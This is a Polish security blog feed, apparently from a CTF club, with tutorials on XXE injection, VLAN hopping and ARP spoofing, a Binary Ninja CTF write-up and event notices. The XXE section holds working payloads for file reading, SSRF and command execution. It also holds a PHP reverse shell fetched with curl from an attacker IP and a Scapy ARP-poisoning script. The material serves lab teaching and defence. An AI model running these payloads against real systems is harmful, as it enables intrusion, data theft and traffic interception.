Mechanizm ten jest tak dobrze znany, że większość aplikacji jest na niego uodporniona - wystarczy zmniejszyć ilość możliwych zagnieżdżeń zewnętrznych encji. Powstał więc atak o nazwie “Qudaratic Blowup” - mniej zagnieżdżeń, wciąż dużo znaków oraz związanych z nimi operacji.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE quadratic [
 <!ENTITY blowup "[dziesiątki tysięcy znaków]">
]>
<tag>&blowup; ... [dziesiątki tysięcy razy]</tag>

Oczywiście oba ataki możemy łączyć, dobierając ilość zagnieżdżeń encji oraz ich długość, w zależności od odporności aplikacji, czy własnych upodobań. Jesteśmy w stanie wygenerować w ten sposób pliki o astronomicznych wielkościach, które mogą mocno ograniczyć wydajność atakowanego serwera.

XXE Injection w praktyce

Trochę teorii za nami, przyszedł czas na zabawę. W celu przeprowadzenia przykładowego ataku wykorzystam dockerowego xxelaba, którego w razie potrzeby można postawić samemu, a następnie zacząć przygodę z XXE Injection.

W celu instalacji dockera na linuxie posłużymy się następującym zbiorem poleceń:

sudo apt update
sudo apt install docker.io
sudo systemctl enable docker --now
docker -v

Teraz kolej na kontener:

git clone https://github.com/jbarone/xxelab.git
cd xxelab
sudo docker build -t xxelab .
sudo docker run -it --rm -p 5000:80 xxelab

sudo docker container list -a

CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES
2e0ae9f3ec8f xxelab "/usr/bin/httpd-fore…" 8 seconds ago Up 8 seconds
0.0.0.0:5000->80/tcp, :::5000->80/tcp wonderful_solomon

Voila - możemy zacząć zabawę:

W celu przeprowadzenia testów wykorzystamy aplikację Zed Attack Proxy.

Skoro wszystko gotowe możemy zacząć przechwytywanie pakietów z i do dockerowego kontenera. Dość wyraźną podpowiedź, co do możliwej podatności witryny otrzymujemy już w odpowiedzi do zapytania typu GET na adres kontenera:

[ ... ]
<script type="text/javascript">
function XMLFunction(){
 var xml = '' +
 '<?xml version="1.0" encoding="UTF-8"?>' +
 '<root>' +
 '<name>' + $('#name').val() + '</name>' +
 '<tel>' + $('#tel').val() + '</tel>' +
 '<email>' + $('#email').val() + '</email>' +
 '<password>' + $('#password').val() + '</password>' +
 '</root>';
 var xmlhttp = new XMLHttpRequest();
 xmlhttp.onreadystatechange = function () {
 if(xmlhttp.readyState == 4){
 console.log(xmlhttp.readyState);
 console.log(xmlhttp.responseText);
 document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

 }
 }
 xmlhttp.open("POST","process.php",true);
 xmlhttp.send(xml);
};
</script>
[ ... ]

Nawet, jeżeli nic nam to nie mówi, po szybkim wykorzystaniu wyszukiwarki znajdujemy informacje, które sprawią, że jesteśmy pewni swego - XMLHttpRequest. Przechwyćmy więc to zapytanie:

<?xml version="1.0" encoding="UTF-8"?>
<root>
 <name>hackerman</name>
 <tel>1111111111</tel>
 <email>hackerman@funsociety.xyz</email>
 <password>password</password>
</root>

Skrypt w zapytaniu podstawia nam wartości z elementu fieldset do odpowiednich znaczników zapytania zdefiniowanego powyżej. Ciekawe, że niezależnie od tego, jaki adres email zostanie podany, odpowiedź zwróci nam błąd typu: “Sorry, hackerman@funsociety.xyz is already registered!”.

Pozostało nam wybrać element, w którym spróbujemy umieścić zewnętrzną encję. Jedna zwracana przez serwer informacja to zawartość tagu <email>, i to właśnie wykorzystamy.

LFI via XML w akcji

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<root>
 <name>hackermam</name>
 <tel>1111111111</tel>
 <email>&lfi;</email>
 <password>password</password>
</root>

Od razu możemy przetestować wyciąganie plików, które zawierając znaki specjalne, przy powyższym wykorzystaniu LFI spowodowałyby błąd parsera i uniemożliwiłyby wykradzenie danych. Zauważmy, że zapytanie wygenerowane przez skrypt wysyłane jest jako POST, w moim przypadku na adres: http://192.168.69.130:5000/process.php. Oznacza to najprawdopodobniej dwie rzeczy:

obsługa zapytania wykonywana jest przez plik process.php,
plik process.php znajdować może się w katalogu głównym naszej internetowej aplikacji, a w związku z Server: Apache/2.4.7 (Ubuntu) oznacza to ścieżkę typu /var/www/html/process.php.

Aby wyciągnąć ten plik, musimy posłużyć się filtrami PHP, które umożliwią nam zakodowanie zawartości w formacie zgodnym z URL. Prawdopodobnie myślimy o tym samym - base64. Jeśli nie, to filtrowanie php nie ogranicza się tylko i wyłącznie do zadań typu to-upper-case.

php://filter/resource=string.toupper/resuource=<path_to_file>
php://filter/resource=string.tolower/resuource=<path_to_file>
php://filter/resource=string.toupper|string.rot13/resource=<path_to_file>

Dodatkowo możemy również kompresować, czy też jak wspomniałem wcześniej konwertować do base64.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY php_file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/process.php">
]>
<root>
 <name>hackermam</name>
 <tel>1111111111</tel>
 <email>&php_file;</email>
 <password>password</password>
</root>

Jak widać na powyższym screenie, aplikacja zwróciła nam żądane dane. Odkodujmy je więc w dekoderze ZAP-a:

Sorry, PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwokeG1sZmlsZSA9I
GZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7C
iRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGluZ
m8gPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKJG5hbWUgPSAkaW5mby0+bmFtZTsKJHRlbCA9I
CRpbmZvLT50ZWw7CiRlbWFpbCA9ICRpbmZvLT5lbWFpbDsKJHBhc3N3b3JkID0gJGluZm8tPnBhc3N3b
3JkOwoKZWNobyAiU29ycnksICRlbWFpbCBpcyBhbHJlYWR5IHJlZ2lzdGVyZWQhIjsKPz4K is already
registered!

Kod PHP obsługujący zapytanie jest prosty. Nie trudno zauważyć co powoduje, że aplikacja, która absolutnie nie potrzebuje do swojego działania encji zewnętrznych ma dla nich pełne wsparcie:

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$tel = $info->tel;
$email = $info->email;
$password = $info->password;

echo "Sorry, $email is already registered!";
?>

Przejdźmy zatem do testów Server Side Request Forgery.

SSRF via XXE dla ciekawych

Zainicjujmy najpierw serwer, na który spróbujemy wysłać odpowiednio sformułowane zapytanie zawierające poniższą encję:

python3 -m http.server

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY ssrf SYSTEM "http://192.168.69.128:8000/">
]>
<root>
 <name>hackermam</name>
 <tel>1111111111</tel>
 <email>&ssrf;</email>
 <password>password</password>
</root>

Sprawdźmy logi odwiedzin na naszym pythonowym http.server.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.69.130 - - [18/Oct/2023 21:33:43] "GET / HTTP/1.0" 200 -

Próba SSRF zakończona pełnym powodzeniem.

Trzymamy kciuki za RCE

Pomimo iż podatność ta w głównej mierze zależy od serwera i zainstalowanych na nim dodatkowych bibliotek/komponentów nie zaszkodzi spróbować tej metody na naszym podatnym serwerze. Do parsowania wykorzystuje on PHP. Sprawdźmy więc, czy nie posiada on zainstalowanego rozszerzenia “expect”.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY rce SYSTEM "expect://id">
]>
<root>
 <name>hackermam</name>
 <tel>1111111111</tel>
 <email>&rce;</email>
 <password>password</password>
</root>

Sorry, uid=33(www-data) gid=33(www-data) groups=33(www-data)
 is already registered!

Ok “expect” znajduje się na swoim miejscu. Niestety jak już wspominałem, w celu pełnego wykorzystania podatności RCE będziemy potrzebowali czegoś więcej. Kodowanie znaków ma w tym przypadku podobne reperkusje, co w trakcie wyciągania plików PHP, lecz tym razem nie możemy po prostu wysłać payloada w formacie base64 i oczekiwać, że wszystko skończy się sukcesem. Oznacza to, że oprócz znaków takich jak np. <, >, |, ", : nie będziemy mogli wykorzystać również spacji, a przynajmniej w jej naturalnej formie.

$IFS jest zmienną wykorzystywaną w skryptach basha lub sytuacjach takich jak nasza celem zdefiniowania i/lub wykorzystania wewnętrznego separatora pól (Internal Field Separator). W prostych słowach oznacza to znak “spacji” zapisany w inny sposób. Warto zauważyć, że Kali Linux jako podstawowego shella używa zsh, więc jeśli wciąż macie tą możliwość zalecam użyć dockera na systemie, który domyślnie wykorzystuje basha.

W tym przykładzie postaramy się nie tylko doprowadzić do RCE, ale również za pomocą
poniższego pliku rsh.php postaramy się zmusić atakowaną maszynę do zainicjowania
odwróconego shella:

<?php
set_time_limit(0);
$ip = '192.168.69.128';
$port = 4444;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
 $command = fgets($sock, 1024);
 $output = shell_exec($command);
 fwrite($sock, $output);
}
fclose($sock);
?>

Aby pobrać naszego payloada PHP - przez wzgląd na ograniczenia nazewnictwa - zmienimy port naszego servera http na 80. Polecenie curl samo w sobie zrozumie, że próbujemy skorzystać z protokołu http, więc tego również nie musimy precyzować.

sudo python3 -m http.server 80

nc -lvnp 4444

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">
]>
<root>
 <name>hackermam</name>
 <tel>1111111111</tel>
 <email>&curl;</email>
 <password>password</password>
</root>

Po otworzeniu adresu http://192.168.69.130/rsh.php otrzymujemy:

Listening on 0.0.0.0 4444
Connection received on 192.168.69.130 43352
whoami
www-data

Nasz dumb reverse shell gotowy. Pozostało nam jedynie wykorzystanie go do zainicjowania w pełni funkcjonalnego terminala oraz dalsze zagłębianie się w architekturę maszyny.

Ciekawe natomiast jest to, że pomimo iż znaki : nie powinny być dozwolone, to odpowiednio wykorzystane nie stanowią problemu.

Przykład encji, która nie zadziała:

<!ENTITY curl SYSTEM "expect://curl$IFS'http://192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">

Przykład encji, która pomimo zastosowania dwukropka zostanie bezproblemowo rozwiązana:

<!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128:80/rsh.php'$IFS'--output'$IFS'rsh.php'">

Jak zmniejszyć zagrożenie

Będąc świadomym powyżej przedstawionego zagrożenia, zadajmy sobie pytanie: jak się zabezpieczyć? Przede wszystkim należy zapoznać się z własnym backendem i przeanalizować sposób, w jaki realizujemy przetwarzanie XMLa. Strona OWASP udostępnia prevention cheat sheet, który umożliwia nam rozpoznanie ryzyka w zależności od technologii.

Dla przykładu, jeżeli backend napisany jest w C/C++ jesteśmy zobowiązani przyjrzeć się bibliotece libxml2 lub libxerces-c i zgodnie z instrukcjami ustawić odpowiednie parametry/flagi w kodzie aplikacji.

Co do głównych zasad to możemy je zdefiniować następująco:

jeśli nie są potrzebne, to należy wyłączyć rozwiązywanie zewnętrznych encji - z reguły jest to funkcjonalność zbędna;
należy zmniejszyć liczbę możliwych zagnieżdżeń encji, wielkość pliku wejściowego oraz ustawić sensowny limit czasu na przetwarzanie plików XML;
należy czytać poradniki, sprawdzać na bieżąco wykaz CVE i nie wyznawać zasady, że “jeśli działa to nie ruszaj”.

Podsumowanie

Dotarliśmy już do końca naszej dzisiejszej przygody z XXE Injection. To jednak nie jest jeszcze koniec wyprawy. Internet pełen jest informacji oraz miejsc, gdzie bez zbędnych formalności omawianą podatność można przećwiczyć, czy dowiedzieć się o niej czegoś więcej. Polecam chociażby PortSwigger Academy, gdzie szerzej omówione zostało pozyskiwanie informacji poprzez error messages, czy chociażby udostępniony został lab wykorzystujący LFI w formie Out-Of-Band.

Źródła

Break The Syntax CTF 2024

Sun, 19 May 2024 00:00:00 +0000

[PL] Break the Syntax 2024

Break The Syntax w 2024 roku trwał 42 godziny, od piątku 17.05.2024 18:00 aż do 12:00 w niedzelę 19.05. Partnerem głównym została firma EY. Zgromadziliśmy 28 drużyn w fomie stacjonarnej. Łącznie z uczestnikami online udział brało 147 zespołów, które rozwiązały co najmniej jedno wyzwanie (nie było wyzwania typu sanity check).

Writeupy możecie znaleźć tutaj.

Break The Syntax 2024

[ENG] Break the Syntax 2024

Break The Syntax in 2024 lasted 42 hours, from Friday, May 17, 2024 6:00 p.m. until 12:00 a.m. on Sunday, May 19, with EY as the main partner. There were 28 teams participating on-site. Including online participants, there were 147 teams that solved at least one challenge (there was no sanity check challenge).

You can find the writeups here.

Participants fighting for flags on Friday

Statyczna Analiza z Binary Ninja

Tue, 12 Dec 2023 00:00:00 +0000

Podczas turnieju pingCTF 2023 zorganizowanego przez Koło Naukowe PING z Politechniki Gdańskiej, rozwiązałem wyzwanie “Hangover”.

Write-up

Analizę programu rozpoczynamy od sprawdzenia sekcji .rodata, gdzie znajdujemy dwa interesujące ciągi znaków: “wrong” oraz “good”.

Dane w sekcji .rodata

Zostały one użyte w dwóch funkcjach. Plik wykonywalny nie zawiera symboli, więc nazwy funkcji trzeba nadać ręcznie(skrót klawiszowy “N”).

Funkcje "incorrect_flag" i "correct_flag"

Funkcję main rozpoczyna wywołanie funkcji signal (man 2 signal). Rejestrowana jest funkcja, która obsługuje sygnał 5 - SIGTRAP.

Zdekompilowana funkcja main

Funkcja sigtrap_handler(ponownie nadajemy funkcji nazwę), ustawia wartości pięciu zmiennych globanych.

Funkcja obsługująca sygnał SIGTRAP

Wracamy do funkcji main. Na końcu znajduje się breakpoint, czyli instrukcja używana przez debuggery do zatrzymania wykonania programu. Zastępujemy breakpointa NOPem aby Binary Ninja kontynuował analizę funkcji main.

Zastąpienie breakpointa instrukcją NOP

W poprzednio niewidocznej wcześniej części programu sprawdzany jest czas. Jeśli program byłby debugowany ustawione przez signal_handler wartości zmiennych zostały by nadpisane.

Dekompilacja dalszej części funkcji main

Funkcja sprawdzająca aktualny czas:

Funkcja sprawdzająca aktualny czas z użyciem instrukcji rdtsc

Po próbie wykrycia debuggera program rozpoczyna sprawdzanie poprawności podanej przez użytkownika flagi.

Dekompilacja zaciemnionej części funkcji main

Używając User Informed Data Flow ustawiamy wartości czterech zmiennych lokalnych (rdi_6, rdx_1, r9 i rsi_1). Wartości powinny być takie jak te co zostają ustawione po wywołaniu sigtrap_handler w odpowiedzi na wykonanie instrukcji breakpoint.

Przekazywanie dodatkowych informacji do dekompilatora

Efekt przekazania dodatkowych informacji do dekompilatora:

Zaktualizowana dekompilacja fragmentu funkcji main

W równaniach została jeszcze jedna zmienna, której wartości Binary Ninja nie zna - r14. Program kopiuje ciąg znaków “ding{ring_ding_ding_daa_baa_baaaa}” do std::string a następnie wskaźnik do skopiowanego ciągu znaków jest przypisywany do r14.

Przepływ danych w funkcji main

Ponownie używamy User Informed Data Flow, tym razem do ustawienia wartość zmiennej r14 jako wskaźnik z wartością 0x403198.

Ustawianie wartości zmiennej zdefiniowanej przez użytkownika

Adres ciągu znaków: "ding{ring_ding_ding_daa_baa_baaaa}"

Ustawianie wartości zmiennej zdefiniowanej przez użytkownika

Dzięki wykorzystaniu Binary Ninja oraz jego funkcji User Informed Data Flow, zdołaliśmy zdeobfuskować program.

Dane w sekcji .rodata

Binary Ninja Python API pozwoli nam wyświetlić flagę, wystarczy zaledwie jedna linia kodu Pythona. Używamy zmiennych current_variable i current_hlil, więc istotne jest aby przed wykonaniem kodu kliknąć na nazwę zmiennej __str_1 w linii gdzie została zdefiniowana.

Wyświetlenie flagi z pomocą Binary Ninja Python API

>>> from itertools import islice
>>> "".join(chr(current_hlil[xref.expr_id].condition.instruction_operands[1].constant) for xref in islice(current_function.get_hlil_var_refs(current_variable),1,None))
'ping{r3m3mb3r_70_h1d3_ur_d3bu993r}'

Rozwiązanie zadania zaproponowane przez jego autora

Hopsanie po sieciach VLAN

Sat, 08 Jul 2023 00:00:00 +0000

W momencie, gdy w jakimś informatycznym akronimie pojawia się litera V, prawdopodobnie oznacza to słowo virtual (wirtualny): VM - virtual machine, VPN - virtual private network. Nie inaczej jest w przypadku VLAN, czyli virtual local area network (wirtualna sieć lokalna, nie mylić z VPN!). Tam gdzie pojawia się wirtualizacja pojawiają się nowe możliwości. Sieci VLAN pomagają m. in. zmniejszyć koszty związane ze sprzętem, ale nieostrożnie skonfigurowane mogą powodować luki bezpieczeństwa.

Wstęp: sieci VLAN w skrócie

Sieci VLAN bazują na logicznych połączeniach zamiast na fizycznym rozmieszczeniu urządzeń. Komputery mogą być rozmieszczone na różnych piętrach budynku, podpięte do wielu przełączników, ale należeć do tej samej sieci lokalnej. Tak samo urządzenia podłączone do jednego przełącznika mogą być w różnych sieciach IP i mieć możliwość komunikowania się ze sobą tylko poprzez router, ponieważ przełącznik będzie przekazywał ramki tylko do portów przypisanych do tej samej sieci VLAN co porty, z których dane ramki odebrał. Powoduje to izolację urządzeń oraz zmniejsza domeny rozgłoszeniowe w sieci.

Grafika utworzona za pomocą narzędzia Canva

Z perspektywy użytkownika końcowego i aplikacji sieci VLAN nie różnią się niczym od klasycznych sieci lokalnych. Ich wdrożenie odbywa się na poziomie portów przełączników, tzn. na każdym porcie możemy określić, do jakiej sieci VLAN ma być przyporządkowany.

Sieci VLAN to tak obszerny temat, że można by poświęcić im osobny artykuł, dlatego w celu ich dobrego zrozumienia odsyłam do zewnętrznych źródeł. Pomocny powinien być ten kurs na YouTube.

VLAN Hopping - przeskakiwanie między sieciami VLAN

W normalnym, pożądanym scenariuszu nie ma możliwości wysyłania żadnych danych do innych sieci VLAN niż ta, do której jesteśmy połączeni bez zatrudnienia do tego routera. Jednak takie ograniczenie można próbować obejść nadużywając mechanizmy kontroli przesyłu ramek z różnych sieci VLAN między przełącznikami.

Wstęp: połączenia `trunk`

Infrastruktura z wieloma sieciami VLAN najczęściej składa się też z wielu przełączników, połączonych nie tylko z hostami i routerami, ale także z innymi przełącznikami. Łącza między przełącznikami to tzw. łącza trunk. Porty trunk to porty przełącznika, które nie należą do żadnej określonej sieci VLAN i służą do przesyłania ruchu z wielu wirtualnych sieci lokalnych między przełącznikami.

Ale skąd switch, który na porcie trunk odbierze ramkę, ma wiedzieć do jakiej sieci VLAN ona należy?

Odpowiedzi na to pytanie dostarcza standard IEEE 802.1Q, zgodnie z którym do ramki Ethernet dodawany jest znacznik sieci VLAN zawierający numer sieci VLAN, do której należy urządzenie wysyłające ramkę.

Istnieje jednak typ sieci VLAN nazywany natywnym, który służy do przekazywania ruchu nieoznakowanego, czyli pozbawionego znacznika 802.1Q.

Atak z podwójnym znakowaniem VLAN

Jeśli atakujący podłączy urządzenie do portu przełącznika należącego do sieci VLAN, która jest siecią VLAN natywną, może wykorzystać podwójne znakowanie VLAN (VLAN double tagging), aby wysłać pakiet do innej sieci VLAN niż ta, w której się znajduje.

W tym celu tworzy ramkę która zawiera dwa znaczniki VLAN:

zewnętrzny ze znacznikiem VLAN natywnego, do którego należy urządzenie intruza
wewnętrzny ze znacznikiem VLAN, do którego należy urządzenie docelowe

Gdy taka ramka dociera do portu przełącznika, ten widzi, że jest przeznaczona dla VLAN natywnego, więc usuwa znacznik (zewnętrzny) VLAN, ponieważ natywny VLAN jest przeznaczony dla ruchu nieoznakowanego i przekazuje ramkę dalej. Kolejny przełącznik nie ma pojęcia, że odebrana ramka była przeznaczona dla VLAN natywnego, więc odczytuje znacznik (wewnętrzny) VLAN i wysyła ramkę do tej sieci VLAN. W końcu ramka trafia do urządzenia docelowego, do którego nigdy nie powinna trafić nie pokonując routera.

Grafika utworzona za pomocą narzędzia Canva

Polecam obejrzeć ten film autorstwa Davida Bombala, w którym prezentowane jest działanie tego ataku na faktycznym sprzęcie z użyciem bardzo prostego skryptu w języku Python.

Podszywanie się pod przełącznik

Port przełącznika Cisco może działać w jednym z czterech trybów: access, trunk, dynamic auto oraz dynamic desirable. Dwa ostatnie korzystają z mechanizmu negocjacji połączenia trunk oferowanego przez protokół DTP (Dynamic Trunking Protocol). Domyślnie, porty są skonfigurowane aby działały w trybie dynamic auto, czyli pasywnej negocjacji - jeśli podłączymy do nich urządzenia końcowe, nie będą portami trunk i będą zachowywać się jak porty dostępowe. Mogą się jednak automatycznie przestawić na trunking, jeśli podłączone do nich urządzenia zaczną z nimi negocjacje dotyczące utworzenia łącza trunk. To zachowanie można wykorzystać na niekorzyść sieci.

Jeśli port przełącznika, do którego podłączył się intruz, jest skonfigurowany w trybie dynamic auto lub dynamic desirable, atakujący może utworzyć z tym portem łącze trunk podszywając się tym samym pod przełącznik. W ten sposób będzie w stanie wysyłać, a nawet odbierać ruch z różnych sieci VLAN.

Grafika utworzona za pomocą narzędzia Canva

Istnieje narzędzie dostępne na systemie Kali Linux o nazwie Yersinia. Służy do przeprowadzania ataków w warstwie drugiej modelu OSI i można je wykorzystać do imitowania przełącznika. Program uruchamiamy wpisując w terminalu poniższe polecenie:

$ sudo yersinia -G

Zrzut ekranu z programu Yersinia

Naszym oczom powinien ukazać się interfejs graficzny narzędzia Yersinia. Najpierw należy się upewnić, że będziemy korzystać z właściwego interfejsu sieciowego. Wybieramy Edit interfaces i zaznaczamy ten, który nas interesuje. Żeby rozpocząć ustanawianie łącza trunk z przełącznikiem klikamy Launch attack. Następnie wybieramy zakładkę DTP, zaznaczamy enabling trunking i wciskamy OK.

Zrzut ekranu z programu Yersinia

Przetestowałem owy atak na przełączniku [Cisco Catalyst 2960](https://www.cisco.com/c/en/us/support/switches/catalyst-2960-series-switches/series.html), a jego rezultat przedstawia zdjęcie poniżej:

Zrzut ekranu z terminala; interfejs wiersza poleceń Cisco IOS

Port Fa0/25 był przeze mnie ręcznie ustawiony jako trunk bez wykorzystania protokołu DTP, ponieważ był połączony z innym przełącznikiem. Jednak port Fa0/15 był połączony z laptopem i korzystał z DTP (w trybie dynamic auto) - jak widać, udało się włączyć na nim trunking, co oznacza uzyskanie dostępu do wielu (jeśli nie wszystkich) sieci VLAN.

Nie każdy posiada w swoim domu przełącznik, dlatego osobom zainteresowanym polecam obejrzeć ten film prezentujący nadużywanie protokołu DTP.

Zapobieganie

Luki związane z sieciami VLAN polegają na nadużywaniu mechanizmów, na których się one opierają. Łatanie tych luk na szczęście jest proste i nie wymaga dodatkowego oprogramowania ani sprzętu, a jedynie przemyślanej konfiguracji. Wystarczy przestrzegać kliku prostych zasad:

Domyślnie natywną siecią VLAN jest VLAN 1. Warto zmienić natywny VLAN na inny i nie przyporządkowywać do niego żadnych portów dostępowych, jeśli nie ma na to wyraźnej potrzeby.
Na portach, do których mają być podłączane urządzenia końcowe należy wyłączyć protokół DTP. Powinny być ustawione ręcznie jako dostępowe (access) i być przypisane do odpowiednich sieci VLAN.
Na portach przeznaczonych do działania jako trunk także można wyłączyć protokół DTP i ustawić je jako trunk ręcznie.

Dla większej ochrony warto również włączyć bezpieczeństwo portu (port security)

Podsumowanie

Sieci VLAN są wygodne i powszechnie stosowane. Uniezależniają logiczną warstwę sieci od fizycznej infrastruktury i rozmieszczenia urządzeń redukując tym koszty związane z ich utrzymaniem - chcąc utworzyć dwie sieci lokalne wystarczy tylko jeden przełącznik. Sieci te będą odizolowane pod warunkiem, że zadbamy o dobre praktyki konfiguracyjne, aby nie było możliwe obejście izolacji. Na routerze mogą zostać skonfigurowane listy kontroli dostępu, jednak na nic się one nie zdadzą, jeśli do innej podsieci da się dotrzeć trasą, na której nie znajduje się router. Do osób podłączających się do sieci należy mieć ograniczone zaufanie i dbać o to, aby intruzi nie mogli nam w niej namieszać.

Źródła

Strony, którymi się wspierałem:

Break The Syntax CTF 2023

Sat, 10 Jun 2023 00:00:00 +0000

[PL] Break the Syntax 2023

W tym roku turniej Break The Syntax odbył się w dniach 2-4.06, a sponsorem głównym wydarzenia została firma Dolby. W formie stacjonarnej wzięło udział ponad 40 drużyn, czyli ponad 80 osób, a na platformie CTFtime zgromadziliśmy 156 drużyn!

Writeupy możecie znaleźć tutaj.

Official poster of the tournament.

[ENG] Break the Syntax 2023

This year the event took place on 2-4.06. Over 40 teams took part in the stationary form, which amounted to more than 80 participants. On the CTFtime, in a remote form, we had gathered 156 teams!

Writeups are available here.

Break The Syntax 2023

ARP Cache Poisoning

Sun, 05 Mar 2023 00:00:00 +0000

Żyjemy w czasach, w których router Wi-Fi znajduje się w praktycznie każdym domu. Możemy się z nim również spotkać w kawiarniach, restauracjach, barach i wielu innych miejscach, które codziennie odwiedzają dziesiątki osób. Łączność bezprzewodowa, Internet i co się z nim wiąże: sieci komputerowe, stały się dla nas zwyczajnym stanem rzeczy. Często nie myślimy o tym, co kryje się pod płaszczem tego dobrobytu, a kryją się między innymi różne zagrożenia. Niestety na tym świecie żyją również ludzie mający złe intencje i nieetyczne zamiary. Przeprowadzając opisany w poniższym artykule atak mogą manipulować siecią w taki sposób, że wszystko co zrobisz trafi do nich, a w konsekwencji - poznają Twoje sekrety.

Wstęp: protokół ARP

Załóżmy, że chcemy pingować jakiś adres IP w naszej sieci lokalnej. Przed wysłaniem wiadomości zostaną do niej dopisane kolejne nagłówki sieciowe zgodnie z modelem TCP/IP, a następnie przesyłana jest przez sieć. Proces ten nazywamy enkapsulacją i wygląda on następująco:

utworzenie nagłówka protokołu ICMP
dodanie nagłówka IP zawierającego informacje o logicznych adresach hostów
na koniec dodanie nagłówka protokołu warstwy łącza danych zawierającego adresy fizyczne (MAC) urządzeń źródłowego i docelowego

Nagłówek ICMP zostanie utworzony przez program ping, adres IPv4 został podany przez użytkownika przy uruchomieniu programu, a co z docelowym adresem MAC? Skąd nasz komputer ma wiedzieć jaki jest adres fizyczny odbiorcy komunikatu? Kiedy człowiek chce się czegoś dowiedzieć o drugiej osobie to może się zwyczajnie zapytać. Podobnie robi komputer - pyta się innych komputerów, jaki jest adres MAC hosta o danym adresie IP używając do tego protokołu ARP (Address Resolution Protocol).

Działanie ARP

ARP działa tylko w sieciach lokalnych wykorzystujących adresy IPv4 (IPv6 korzysta z innego protokołu) i służy do przypisania adresów logicznych (IPv4) do adresów fizycznych (MAC). Informacje te przechowuje w specjalnej tablicy w swojej pamięci podręcznej (cache). Tablicę ARP można wyświetlić za pomocą komendy wiersza poleceń arp -a.

Kiedy wysyłamy komunikat w sieci, nasz komputer sprawdza, czy w tablicy ARP znajduje się wpis zawierający adres IP hosta docelowego. Jeśli tak, pobiera z tego wpisu adres MAC i buduje ramkę gotową do wysłania. W przeciwnym wypadku, na rozgłoszeniowy adres MAC zostaje wysłane żądanie ARP (request) z pytaniem do jakiego adresu MAC przypisany jest dany adres IP. Na to żądanie odpowiada tylko host, który ten adres posiada, wysyłając swój adres MAC w odpowiedzi ARP (reply), jak również zapisując na przyszłość w swojej pamięci adres IP wraz z adresem MAC hosta, od którego otrzymał zapytanie.

Jeśli żadne urządzenie nie odpowiedziało na żądanie ARP to oznacza, że takiego hosta nie ma w sieci.

Działanie ataku ARP cache poisoning

Protokół ARP jest wygodny i wręcz potrzebny w większości sieci IPv4, ale bardzo łatwo wykorzystać go do przeprowadzenia ataku typu man-in-the-middle zwanego ARP cache poisoning lub ARP spoofing.

W tym scenariuszu atakujący chce przekierować ruch między dwoma urządzeniami (często pomiędzy hostem a bramą domyślną) aby móc go analizować i ewentualnie modyfikować. W tym celu wysyła do ofiar sfałszowane odpowiedzi ARP, w których zawarte są adresy IP celów oraz adres MAC atakującego. Są to tzw. gratisowe odpowiedzi ARP, ponieważ nie stanowią rzeczywistej odpowiedzi na żadne zapytanie ARP. Hosty, które odebrały sfałszowane pakiety ARP nadpisują wpisy w swojej pamięci podręcznej mapując adres IP ofiary na adres MAC intruza - następuje zatrucie tablicy ARP.

Dzięki temu zabiegowi, host chcąc wysłać wiadomość, w ramce jako adres docelowy poda adres fizyczny atakującego, co spowoduje, że to właśnie on otrzyma te dane. Intruz będzie mógł otrzymane informacje przetworzyć i potencjalnie zmodyfikować, aby w końcu przekazać je do właściwego urządzenia docelowego, aby nie zniszczyć komunikacji między atakowanymi urządzeniami, z których perspektywy nic się nie stało.

Grafika utworzona dzięki Canva

Podobnie wyglądałaby sytuacja, w której osoba podszywa się pod kuriera, odbiera paczkę od nadawcy, a następnie otwiera ją, zabiera to co mu się podoba lub zostawia niemiłą niespodziankę, zamyka paczkę i w końcu dostarcza ją do adresata.

Przykładowy skrypt: Python + Scapy

Na początku należy podkreślić, że manipulacje i przechwytywanie ruchu należy przeprowadzać wyłącznie w naszej własnej sieci lub sieci, w której na przeprowadzanie takich przedsięwzięć mamy wyraźne pozwolenie.

Istnieje wiele narzędzi do przeprowadzania ataku zatruwania tablicy ARP. Bardzo popularnym jest Ettercap, który działa z poziomu wiersza poleceń, ale udostępnia również interfejs graficzny. Jednak, aby pokazać przerażającą prostotę tego ataku, przygotowałem krótki skrypt w języku Python. Wykorzystywana przeze mnie biblioteka Scapy służy do prostego tworzenia pakietów, które można następnie wysłać do sieci.

from scapy.all import send, ARP
from time import sleep

# adresy bramy domyślnej
gateway_ip = input("Podaj adres IP bramy domyślnej: ") # adres IPv4
gateway_mac = input("Podaj adres MAC bramy domyślnej: ") # adres MAC

# adresy ofiary
victim_ip = input("Podaj adres IP celu: ") # adres IPv4
victim_mac = input("Podaj adres MAC celu: ") # adres MAC

# zatruwanie
while True:
 send(ARP(
 op=2, # reply (dla request jest 1)
 psrc=victim_ip, # adres IP ofiary
 pdst=gateway_ip, # adres IP bramy domyślnej
 hwdst=gateway_mac # adres MAC bramy domyślnej
 ), count=2, verbose=False)

 send(ARP(
 op=2, # reply
 psrc=gateway_ip, # adres IP bramy domyślnej
 pdst=victim_ip, # adres IP ofiary
 hwdst=victim_mac # adres MAC ofiary
 ), count=2, verbose=False)

